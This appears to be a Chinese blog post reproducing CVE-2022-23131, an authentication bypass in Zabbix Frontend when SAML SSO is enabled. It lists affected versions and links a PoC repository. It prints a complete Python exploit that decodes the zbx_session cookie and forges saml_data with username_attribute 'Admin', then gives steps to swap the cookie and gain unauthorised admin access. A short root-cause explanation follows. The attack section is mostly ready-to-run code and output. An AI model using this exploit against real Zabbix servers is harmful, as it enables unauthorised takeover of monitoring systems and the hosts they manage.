Zabbix-CVE-2022-23131复现

Zabbix-CVE-2022-23131

0x01漏洞介绍

Zabbix Sia Zabbix是拉脱维亚Zabbix SIA(Zabbix Sia)公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。

Zabbix Frontend 存在安全漏洞,该漏洞源于在启用 SAML SSO 身份验证(非默认)的情况下,恶意行为者可以修改会话数据,因为存储在会话中的用户登录未经过验证。

攻击条件限制:

  • 需要启用 SAML 身份验证,并且攻击者必须知道 Zabbix 用户的用户名(或使用默认禁用的访客帐户)。
  • 但因Zabbix的Web前端自动配置了一个名为Admin的高权限用户,所以漏洞利用相对而言难度降低了。

影响版本:

  • 5.4.0 - 5.4.8
  • 6.0.0 - 6.0.0beta1

0x02漏洞复测

利用poc获取session,然后将cookie替换为获取到的session,之后点击Sign in with Single Sign-On (SAML),即可实现未授权访问。

https://github.com/L0ading-x/cve-2022-23131

获取session

在这里插入图片描述

替换zbx_session

点击登录,成功未授权进入后台

在这里插入图片描述

0x03POC分析

import requests
import re
import urllib.parse
import base64
import json
import sys
 
def exp(target, username):
	resp = requests.get(url=target, verify=False)
	cookie = resp.headers.get("Set-Cookie")

	zbx_session = re.findall(r"zbx_session=(.*?); ", cookie)

	url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8')
	base64_decode_data = base64.b64decode(url_decode_data)

	decode_to_str = str(base64_decode_data, encoding='utf-8')

	to_json = json.loads(decode_to_str)

	tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"])

	payloadJson = json.dumps(tmp_ojb)
	print("decode_payload:", payloadJson)

	payload = urllib.parse.quote(base64.b64encode(payloadJson.encode()))
	print("zbx_signed_session:", payload)


if __name__ == "__main__":
	if len(sys.argv) != 3:
		print("argv error")
		exit(0)
	target = sys.argv[1]
	username = sys.argv[2]

	exp(target, username)

非常的简单,首先对目标进行一次请求获取到请求头中的set-cookie

再用正则匹配出zbx_session的值,url解码后再base64解码然后转json

手动解码或者直接print打印即可知道json格式

decode_payload: {"saml_data": {"username_attribute": "Admin"}, "sessionid": "c7605481cdd0aaaa1e5c65b91851b55c", "sign": "SiSFwbllzSuv+CBeHiQ5fpswmR1KOpAMreltIYVJqlrGxAWOS2Vt6bgeHhz5NpoX+byr17K13wvJV21a0KpBpA=="}

在去构造saml的json请求,只替换了saml_data中的username_attribute参数为存在的用户名(这里是Admin)

然后重新json转码之后base64加密再url编码重新得到payload

后记

安装环境太过繁琐,所以没有审计复现。

简单看了下,是由于检查函数只验证了sessionid,而启用 SAML 身份验证时直接提取了saml_data中的username_attribute来提取用户信息进行登录然后赋值给session

无关于sessionid,而saml_data又没有进行加密等处理,所以导致了身份认证的绕过

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值